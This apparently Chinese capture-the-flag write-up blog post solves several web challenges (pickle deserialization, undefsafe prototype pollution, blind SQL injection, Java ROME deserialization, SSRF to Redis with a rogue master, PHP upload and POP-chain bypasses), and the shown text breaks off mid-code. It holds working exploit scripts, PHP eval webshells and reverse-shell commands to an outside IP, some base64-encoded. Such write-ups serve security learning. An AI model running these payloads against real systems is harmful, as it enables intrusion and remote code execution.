征战第六大陆,开始乱序做题
[HFCTF 2021 Final]easyflask 考点:简单pickle反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import osimport picklefrom base64 import b64decodefrom flask import Flask, request, render_template, sessionapp = Flask(__name__) app.config["SECRET_KEY" ] = "*******" User = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 0 , '__repr__' : lambda o: o.uname, }) @app.route('/' , methods=('GET' , ) ) def index_handler (): if not session.get('u' ): u = pickle.dumps(User()) session['u' ] = u return "/file?file=index.js" @app.route('/file' , methods=('GET' , ) ) def file_handler (): path = request.args.get('file' ) path = os.path.join('static' , path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open (path, 'r' ) as fp: content = fp.read() return content @app.route('/admin' , methods=('GET' , ) ) def admin_handler (): try : u = session.get('u' ) if isinstance (u, dict ): u = b64decode(u.get('b' )) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1 : return 'welcome, admin' else : return 'who are you?' if __name__ == '__main__' : app.run('0.0.0.0' , port=80 , debug=False )
构造pickle访问/amdin就会触发
1 2 3 4 5 6 7 8 import pickleimport base64newp=b'''cos system (S'bash -c "bash -i >& /dev/tcp/114.116.119.253/7777 <&1"' tR.''' print (newp)print (base64.b64encode(newp))
把生成的base64替换到session中就好,secretkey在environ里面
[网鼎杯 2020 青龙组]notes 考点:undefsafe模块原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 var express = require ('express' );var path = require ('path' );const undefsafe = require ('undefsafe' );const { exec } = require ('child_process' );var app = express ();class Notes { constructor ( ) { this .owner = "whoknows" ; this .num = 0 ; this .note_list = {}; } write_note (author, raw_note ) { this .note_list [(this .num ++).toString ()] = {"author" : author,"raw_note" :raw_note}; } get_note (id ) { var r = {} undefsafe (r, id, undefsafe (this .note_list , id)); return r; } edit_note (id, author, raw ) { undefsafe (this .note_list , id + '.author' , author); undefsafe (this .note_list , id + '.raw_note' , raw); } get_all_notes ( ) { return this .note_list ; } remove_note (id ) { delete this .note_list [id]; } } var notes = new Notes ();notes.write_note ("nobody" , "this is nobody's first note" ); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'pug' ); app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use (express.static (path.join (__dirname, 'public' ))); app.get ('/' , function (req, res, next ) { res.render ('index' , { title : 'Notebook' }); }); app.route ('/add_note' ) .get (function (req, res ) { res.render ('mess' , {message : 'please use POST to add a note' }); }) .post (function (req, res ) { let author = req.body .author ; let raw = req.body .raw ; if (author && raw) { notes.write_note (author, raw); res.render ('mess' , {message : "add note sucess" }); } else { res.render ('mess' , {message : "did not add note" }); } }) app.route ('/edit_note' ) .get (function (req, res ) { res.render ('mess' , {message : "please use POST to edit a note" }); }) .post (function (req, res ) { let id = req.body .id ; let author = req.body .author ; let enote = req.body .raw ; if (id && author && enote) { notes.edit_note (id, author, enote); res.render ('mess' , {message : "edit note sucess" }); } else { res.render ('mess' , {message : "edit note failed" }); } }) app.route ('/delete_note' ) .get (function (req, res ) { res.render ('mess' , {message : "please use POST to delete a note" }); }) .post (function (req, res ) { let id = req.body .id ; if (id) { notes.remove_note (id); res.render ('mess' , {message : "delete done" }); } else { res.render ('mess' , {message : "delete failed" }); } }) app.route ('/notes' ) .get (function (req, res ) { let q = req.query .q ; let a_note; if (typeof (q) === "undefined" ) { a_note = notes.get_all_notes (); } else { a_note = notes.get_note (q); } res.render ('note' , {list : a_note}); }) app.route ('/status' ) .get (function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec (commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log (`stdout: ${stdout} ` ); }); } res.send ('OK' ); res.end (); }) app.use (function (req, res, next ) { res.status (404 ).send ('Sorry cant find that!' ); }); app.use (function (err, req, res, next ) { console .error (err.stack ); res.status (500 ).send ('Something broke!' ); }); const port = 8080 ;app.listen (port, () => console .log (`Example app listening at http://localhost:${port} ` ))
仔细审一下也就是知道是用undefsafe模块原型链污染,给commands对象加一个恶意的键值对,而我们的undefsafe模块就可以做到这一点: 如上图所示我们成功的通过原型链污染给commands对象添加了一个键值对{"a":1}
,那我们只需要细细的发包即可污染 add_note:author=boogipop&raw=fuck
edit_note:id=__proto__&author=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22&raw=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22
最后访问status去触发rce
[PwnThyBytes 2019]Baby_SQL 考点:session_upload_progress绕过登录验证,SQL注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 <?php session_start ();foreach ($_SESSION as $key => $value ): $_SESSION [$key ] = filter ($value ); endforeach ;foreach ($_GET as $key => $value ): $_GET [$key ] = filter ($value ); endforeach ;foreach ($_POST as $key => $value ): $_POST [$key ] = filter ($value ); endforeach ;foreach ($_REQUEST as $key => $value ): $_REQUEST [$key ] = filter ($value ); endforeach ;function filter ($value ) { !is_string ($value ) AND die ("Hacking attempt!" ); return addslashes ($value ); } isset ($_GET ['p' ]) AND $_GET ['p' ] === "register" AND $_SERVER ['REQUEST_METHOD' ] === 'POST' AND isset ($_POST ['username' ]) AND isset ($_POST ['password' ]) AND @include ('templates/register.php' );isset ($_GET ['p' ]) AND $_GET ['p' ] === "login" AND $_SERVER ['REQUEST_METHOD' ] === 'GET' AND isset ($_GET ['username' ]) AND isset ($_GET ['password' ]) AND @include ('templates/login.php' );isset ($_GET ['p' ]) AND $_GET ['p' ] === "home" AND @include ('templates/home.php' );?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <meta name="robots" content="noindex" > <title>Login/Register</title> <meta name="viewport" content="width=device-width, initial-scale=1" > <link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet" id="bootstrap-css" > <style type="text/css" > </style> <script src="//code.jquery.com/jquery-1.10.2.min.js" ></script> <script src="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js" ></script> <script type="text/javascript" > window.alert = function ( ) { }; var defaultCSS = document.getElementById ('bootstrap-css' ); function changeCSS (css ) { if (css) $('head > link' ).filter (':first' ).replaceWith ('<link rel="stylesheet" href="' + css + '" type="text/css" />' ); else $('head > link' ).filter (':first' ).replaceWith (defaultCSS); } $(document).ready (function () { var iframe_height = parseInt ($('html' ).height ()); window.parent .postMessage (iframe_height, 'http://bootsnipp.com' ); }); </script> </head> <body> <div class ="container "> <div class ="row "> <div class ="span12 "> <div class ="" id ="loginModal "> <div class ="modal -header "> <button type ="button " class ="close " data -dismiss ="modal " aria -hidden ="true ">×</button > <h3 >Have an Account ?</h3 > </div > <div class ="modal -body "> <div class ="well "> <ul class ="nav nav -tabs "> <li class ="active "><a href ="#login " data -toggle ="tab ">Login </a ></li > <li ><a href ="#create " data -toggle ="tab ">Create Account </a ></li > </ul > <div id ="myTabContent " class ="tab -content "> <div class ="tab -pane active in " id ="login "> <form class ="form -horizontal " method ="GET "> <fieldset > <div id ="legend "> <legend class ="">Login </legend > </div > <div class ="control -group "> <!-- Username --> <label class ="control -label " for ="username ">Username </label > <div class ="controls "> <input type ="text " id ="username " name ="username " placeholder ="" class ="input -xlarge "> </div > </div > <input type ="hidden " name ="p " value ="login "/> <div class ="control -group "> <!-- Password --> <label class ="control -label " for ="password ">Password </label > <div class ="controls "> <input type ="password " id ="password " name ="password " placeholder ="" class ="input -xlarge "> </div > </div > <div class ="control -group "> <!-- Button --> <div class ="controls "> <button class ="btn btn -success ">Login </button > </div > </div > </fieldset > </form > </div > <div class ="tab -pane fade " id ="create "> <label >Username </label > <input type ="text " name ="reg -username " id ="reg -username " value ="" class ="input -xlarge "> <label >Password </label > <input type ="text " name ="reg -password " id ="reg -password " value ="" class ="input -xlarge "> <div > <button id ="reg " class ="btn btn -primary " onclick ="register ();">Create Account </button > </div > <br /> <div id ="register -msg "></div > </div > </div > </div > </div > </div > </div > </div > <script type ="text /javascript "> function register () { $.ajax ({ type : "POST" , url : "?p=register" , data : "username=" + $("#reg-username" ).val () + "&password=" + $("#reg-password" ).val (), success: function (data ) { if (data.indexOf ('successfully' ) > -1 ) { var msg2 = '<div class="alert alert-success" id="msg-verify" role="alert"><strong>' + data + '</div>' ; $("#msg-verify" ).remove (); $("#register-msg" ).append (msg2); $("#msg-verify" ).delay (3200 ).fadeOut (2000 ); } if (data.indexOf ('paranoid' ) > -1 ) { var msg2 = '<div class="alert alert-warning" id="msg-verify" role="alert"><strong>' + data + '</div>' ; $("#msg-verify" ).remove (); $("#register-msg" ).append (msg2); $("#msg-verify" ).delay (3200 ).fadeOut (2000 ); } if (data.indexOf ('Error' ) > -1 ) { var msg2 = '<div class="alert alert-info" id="msg-verify" role="alert"><strong>' + data + '</div>' ; $("#msg-verify" ).remove (); $("#register-msg" ).append (msg2); $("#msg-verify" ).delay (3200 ).fadeOut (2000 ); } } }); } </script> <!-- /source.zip --> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php !isset ($_SESSION ) AND die ("Direct access on this script is not allowed!" ); include 'db.php' ;$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET ['username' ] . '" and password="' . md5 ($_GET ['password' ]) . '";' ;$result = $con ->query ($sql );function auth ($user ) { $_SESSION ['username' ] = $user ; return True; } ($result ->num_rows > 0 AND $row = $result ->fetch_assoc () AND $con ->close () AND auth ($row ['username' ]) AND die ('<meta http-equiv="refresh" content="0; url=?p=home" />' )) OR ($con ->close () AND die ('Try again!' )); ?>
主要就这两个文件,其中第一个文件使用了session_start开启session,并且通过p参数包含templates,然后会对get、post等参数做addslah处理,这样看起来是无懈可击的 但是我们其实是可以直接访问templates/login.php
,直接访问就涉及到另一个问题了,那就是session会没掉。因为直接访问是不会开启session_start的,因此这里我们得利用session_upload_progress这个tips,当POST参数有这个数据时,就会自动的session_start一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl='http://5b7d7949-c24c-4dce-91f3-467360a330e1.node4.buuoj.cn:81/templates/login.php' files={"file" :"123" } data={"PHP_SESSION_UPLOAD_PROGRESS" :"123" } cookies={"PHPSESSID" :"123" } res='' for b in range (1 ,50 ): for i in range (30 ,130 ): params={"username" :'test" or (ascii(substr((select group_concat(secret) from flag_tbl),' +str (b)+',1))=' +str (i)+')#' , "password" :"test" } a=requests.post(url=url,files=files,data=data,cookies=cookies,params=params).text if 'meta' in a: res+=chr (i) print (res) break
因此写个脚本简单跑一下就出结果拉
[网鼎杯 2020 朱雀组]Think Java 考点:一眼丁真的SQL注入。Java反序列化 开局给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package cn.abc.core.sqldict;import java.sql.Connection;import java.sql.DatabaseMetaData;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import java.util.ArrayList;import java.util.List;public class SqlDict { public SqlDict () { } public static Connection getConnection (String dbName, String user, String pass) { Connection conn = null ; try { Class.forName("com.mysql.jdbc.Driver" ); if (dbName != null && !dbName.equals("" )) { dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; } else { dbName = "jdbc:mysql://mysqldbserver:3306/myapp" ; } if (user == null || dbName.equals("" )) { user = "root" ; } if (pass == null || dbName.equals("" )) { pass = "abc@12345" ; } conn = DriverManager.getConnection(dbName, user, pass); } catch (ClassNotFoundException var5) { var5.printStackTrace(); } catch (SQLException var6) { var6.printStackTrace(); } return conn; } public static List<Table> getTableData (String dbName, String user, String pass) { List<Table> Tables = new ArrayList (); Connection conn = getConnection(dbName, user, pass); String TableName = "" ; try { Statement stmt = conn.createStatement(); DatabaseMetaData metaData = conn.getMetaData(); ResultSet tableNames = metaData.getTables((String)null , (String)null , (String)null , new String []{"TABLE" }); while (tableNames.next()) { TableName = tableNames.getString(3 ); Table table = new Table (); String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ; ResultSet rs = stmt.executeQuery(sql); while (rs.next()) { table.setTableDescribe(rs.getString("TABLE_COMMENT" )); } table.setTableName(TableName); ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null , TableName, "" ); ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null , TableName); String PK; for (PK = "" ; rs2.next(); PK = rs2.getString(4 )) { } while (data.next()) { Row row = new Row (data.getString("COLUMN_NAME" ), data.getString("TYPE_NAME" ), data.getString("COLUMN_DEF" ), data.getString("NULLABLE" ).equals("1" ) ? "YES" : "NO" , data.getString("IS_AUTOINCREMENT" ), data.getString("REMARKS" ), data.getString("COLUMN_NAME" ).equals(PK) ? "true" : null , data.getString("COLUMN_SIZE" )); table.list.add(row); } Tables.add(table); } } catch (SQLException var16) { var16.printStackTrace(); } return Tables; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package cn.abc.core.controller;import cn.abc.common.bean.ResponseCode;import cn.abc.common.bean.ResponseResult;import cn.abc.common.security.annotation.Access;import cn.abc.core.sqldict.SqlDict;import cn.abc.core.sqldict.Table;import io.swagger.annotations.ApiOperation;import java.io.IOException;import java.util.List;import org.springframework.web.bind.annotation.CrossOrigin;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@CrossOrigin @RestController @RequestMapping({"/common/test"}) public class Test { public Test () { } @PostMapping({"/sqlDict"}) @Access @ApiOperation("为了开发方便对应数据库字典查询") public ResponseResult sqlDict (String dbName) throws IOException { List<Table> tables = SqlDict.getTableData(dbName, "root" , "abc@12345" ); return ResponseResult.e(ResponseCode.OK, tables); } }
单凭这2个类就知道dbName那里是字符串拼贴的,肯定存在SQL注入。这题环境搭的属实不太好,搞得我以为有鉴权,因为我第一次输入dbName就那啥了。报错。。 这题的思路是通过sql注入注出admin账号密码,然后扫描的时候会发现swagger接口,里面有个登录的路由,登录成功响应头有一串序列化后的Base64字符串,分析一波发现貌似是有ROME链,直接打就好。 这里管理员密码也不浪费时间了admin@Rrrr_ctf_asde
至于是怎么分析出来是ROME的,反正我是不知道,应该是题目给提示了,不然你盲猜ROME是否有点? 那就好说直接掏出payload打了。java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'|base64
得到base64后,在current接口处有一个authorization选项,按照格式Barrier payload
填进去就可以反弹shell了
[CISCN2019 华东北赛区]Web2 考点:XSS+SQL注入 过滤了些东西,常规payload用不了,这里可以用HTML markup&#
编码去绕过https://www.w3.org/MarkUp/html-spec/html-spec_13.html
1 2 3 4 5 xss='''alert(1)''' output='' for c in xss: output += "&#" + str (ord (c)) print ("<svg><script>eval("" + output + "")</script>" )
这样就触发了alert,但是靶机无法访问外网,所以这题作废 上号之后就是一个简单的SQL注入
[网鼎杯 2020 玄武组]SSRFMe 考点:parse_url绕过;gopher打redis;主从复制? 这题我居然写了1个小时。我傻逼了真的,真的太傻x了我草。。。。gopher要二次编码的啊沃日
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function check_inner_ip ($url ) { $match_result =preg_match ('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ) { die ('url fomat error' ); } try { $url_parse =parse_url ($url ); } catch (Exception $e ) { die ('url fomat error' ); return false ; } $hostname =$url_parse ['host' ]; $ip =gethostbyname ($hostname ); $int_ip =ip2long ($ip ); return ip2long ('127.0.0.0' )>>24 == $int_ip >>24 || ip2long ('10.0.0.0' )>>24 == $int_ip >>24 || ip2long ('172.16.0.0' )>>20 == $int_ip >>20 || ip2long ('192.168.0.0' )>>16 == $int_ip >>16 ; } function safe_request_url ($url ) { if (check_inner_ip ($url )) { echo $url .' is inner ip' ; } else { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); $output = curl_exec ($ch ); $result_info = curl_getinfo ($ch ); if ($result_info ['redirect_url' ]) { safe_request_url ($result_info ['redirect_url' ]); } curl_close ($ch ); var_dump ($output ); } } if (isset ($_GET ['url' ])){ $url = $_GET ['url' ]; if (!empty ($url )){ safe_request_url ($url ); } } else { highlight_file (__FILE__ ); } ?>
源码是这样,我们可以先去访问hint.php,但在这之前需要绕过一下,有关parse_url的绕过太多了。这里选择htttp:///127.0.0.1/hint.php
这样会让它返回一个false而不报错。得到内容如下:
1 2 3 4 5 6 7 8 <?php if ($_SERVER ['REMOTE_ADDR' ]==="127.0.0.1" ){ highlight_file (__FILE__ ); } if (isset ($_POST ['file' ])){ file_put_contents ($_POST ['file' ],"<?php echo 'redispass is root';exit();" .$_POST ['file' ]); } "
告诉我们redis的密码很明显是打redis,这里不存在啥CRLF去绕过死亡exit,这是迷惑选项,然后打redis的脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from urllib.parse import quoteurl="http://localhost:8888/" protocol="gopher://" ip="127.0.0.1" port="6379" shell="<?php eval($_POST[1]);?>" filename="shell.php" path="/var/www/html" passwd="" cmd=["auth root" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] payload='' if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd def generate_payload (): global payload for x in cmd: payload += quote(redis_format(x)) return payload print (generate_payload())
得到的payload记得二次编码。然后得到flag
主从复制? 听说预期解法是主从复制呢,那我们来看看吧。 简单说下原理:
slaveof(新版改为REPLICAOF)建立后slave会向master发送PSYNC,请求开始复制
master可以返回FULLRESYNC,进行全量复制,然后将自己持久化的数据发给slave,正常情况下包括Replication ID, offset,master存储的key-value等等
slave会将这些数据保存到config中dbfilename指定的文件(默认为dump.rdb),然后再载入。
通过伪造master,可以控制发往slave的信息,从而做到无脏数据写文件
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
因此通过FULLRESYNC写入恶意so文件,然后MODULE LOAD /path/to/mymodule.so载入模块即可rce
不太难理解,也就是准备个恶意的master服务器就好。
根据redis-rogue-getshell 的代码,改一个master server出来。exp.so编译下里面的RedisModulesSDK/exp/exp.c得到 | ```python import os import sys import argparse import socketserver import logging import socket import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=’>> %(message)s’)
DELIMITER = b”\r\n”
class RoguoHandler(socketserver.BaseRequestHandler): def decode(self, data): if data.startswith(b’*’): return data.strip().split(DELIMITER)[2::2] if data.startswith(b’$’): return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer): allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload
if name ==’main ‘: expfile = ‘exp.so’ lport = 6379 with open(expfile, ‘rb’) as f: server = RoguoServer((‘0.0.0.0’, lport), f.read()) server.handle_request()
1 2 3 4 | | --- | 放到vps运行,然后gopher脚本还是上面我给的格式,最终payload如下
*2 $4 AUTH $4 root *1 $7 COMMAND *3 $7 slaveof $12 174.2.41.117 $4 6379 *3 $6 module $4 load $10 ./dump.rdb *2 $11 system.exec $9 cat /flag *1 $4 quit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 详细可以参考 [https://inhann.top/2021/09/14/redis_master_slave_rce/](https://inhann.top/2021/09/14/redis_master_slave_rce/) 看了一遍讲的很全 # [CISCN2021 Quals]upload ```php <?php if (!isset($_GET["ctf"])) { highlight_file(__FILE__); die(); } if(isset($_GET["ctf"])) $ctf = $_GET["ctf"]; if($ctf=="upload") { if ($_FILES['postedFile']['size'] > 1024*512) { die("这么大个的东西你是想d我吗?"); } $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']); if ($imageinfo === FALSE) { die("如果不能好好传图片的话就还是不要来打扰我了"); } if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) { die("东西不能方方正正的话就很讨厌"); } $fileName=urldecode($_FILES['postedFile']['name']); if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) { die("有些东西让你传上去的话那可不得了"); } $imagePath = "image/" . mb_strtolower($fileName); if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) { echo "upload success, image at $imagePath"; } else { die("传都没有传上去"); } }
还扫到个example.php文件,解压用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php if (!isset ($_GET ["ctf" ])) { highlight_file (__FILE__ ); die (); } if (isset ($_GET ["ctf" ])) $ctf = $_GET ["ctf" ]; if ($ctf =="poc" ) { $zip = new \ZipArchive (); $name_for_zip = "example/" . $_POST ["file" ]; if (explode ("." ,$name_for_zip )[count (explode ("." ,$name_for_zip ))-1 ]!=="zip" ) { die ("要不咱们再看看?" ); } if ($zip ->open ($name_for_zip ) !== TRUE ) { die ("都不能解压呢" ); } echo "可以解压,我想想存哪里" ; $pos_for_zip = "/tmp/example/" . md5 ($_SERVER ["REMOTE_ADDR" ]); $zip ->extractTo ($pos_for_zip ); $zip ->close (); unlink ($name_for_zip ); $files = glob ("$pos_for_zip /*" ); foreach ($files as $file ){ if (is_dir ($file )) { continue ; } $first = imagecreatefrompng ($file ); $size = min (imagesx ($first ), imagesy ($first )); $second = imagecrop ($first , ['x' => 0 , 'y' => 0 , 'width' => $size , 'height' => $size ]); if ($second !== FALSE ) { $final_name = pathinfo ($file )["basename" ]; imagepng ($second , 'example/' .$final_name ); imagedestroy ($second ); } imagedestroy ($first ); unlink ($file ); } }
这一题其实就是mb_strtolower函数的一个trick,虽然限制了文件名。但是这个函数可以识别unicode字符。然后由于unicode里好像没有替换p和h的,所以直接替换不了php,因此题目给出了个zip格式,也就是替换i,所以我们的思路就是上传一个恶意的zip然后解压。getshell 制作恶意的图片,用之前文件上传的tool制作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); } imagepng ($img ,'1.png' ); ?>
然后是unicode字符的fuzz。https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/ i
等价于%C4%B0
并且使用 #define width 1 #define height 1 去绕过长宽的限制。得到了上传路径,那就是image/1.zip,之后去解压。 利用的是imagepng函数去储存。 然后直接访问example/1.php
就好。 绕这么多层。还在etc。
[羊城杯 2020]EasySer 考点:绕死亡exit、ssrf读文件 其实我对藏参数的题一律都是当成傻逼处理的。至少在我这里是这样。藏nm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 span style="color: #0000BB" ><?php error_reporting (0 );if ( $_SERVER ['REMOTE_ADDR' ] == "127.0.0.1" ) { highlight_file (__FILE__ ); } $flag ='{Trump_:"fake_news!"}' ;class GWHT { public $hero ; public function __construct ( ) { $this ->hero = new Yasuo ; } public function __toString ( ) { if (isset ($this ->hero)){ return $this ->hero->hasaki (); }else { return "You don't look very happy" ; } } } class Yongen { public $file ; public $text ; public function __construct ($file ='' ,$text ='' ) { $this -> file = $file ; $this -> text = $text ; } public function hasaki ( ) { $d = '<?php die("nononon");?>' ; $a = $d . $this ->text; @file_put_contents ($this -> file,$a ); } } class Yasuo { public function hasaki ( ) { return "I'm the best happy windy man" ; } } ?>
这是ser.php的内容,源码有提示,robots.txt告诉我们题目的入口,然后才来的上一步 问题是不知道序列化点是吧,所以说藏参数不评价。参数是c。反序列化的点。那pop链就不需要说啥了,简单构造下即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class GWHT { public $hero ; } class Yongen { public $file ; public $text ; public function __construct ($file ='' ,$text ='' ) { $this -> file = $file ; $this -> text = $text ; } } $a =new GWHT ();$b =new Yongen ();$b ->file="php://filter/convert.base64-decode/resource=boogipop.php" ;$b ->text="aaaaaaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+" ;$a ->hero=$b ;echo urlencode (serialize ($a ));
蚁剑连接后看了下源码,发现真是傻。 既然打不过,那就用魔法打败魔法。https://github.com/s0md3v/Arjun 这个工具用来杀死藏参数的 揭开他们的面纱
[NPUCTF2020]验证🐎 考点:nodejs的无数字字母rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 const express = require ('express' );const bodyParser = require ('body-parser' );const cookieSession = require ('cookie-session' );const fs = require ('fs' );const crypto = require ('crypto' );const keys = require ('./key.js' ).keys ;function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } function saferEval (str ) { if (str.replace (/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g , '' )) { return null ; } return eval (str); } const template = fs.readFileSync ('./index.html' ).toString ();function render (results ) { return template.replace ('{{results}}' , results.join ('<br/>' )); } const app = express ();app.use (bodyParser.urlencoded ({ extended : false })); app.use (bodyParser.json ()); app.use (cookieSession ({ name : 'PHPSESSION' , keys })); Object .freeze (Object );Object .freeze (Math );app.post ('/' , function (req, res ) { let result = '' ; const results = 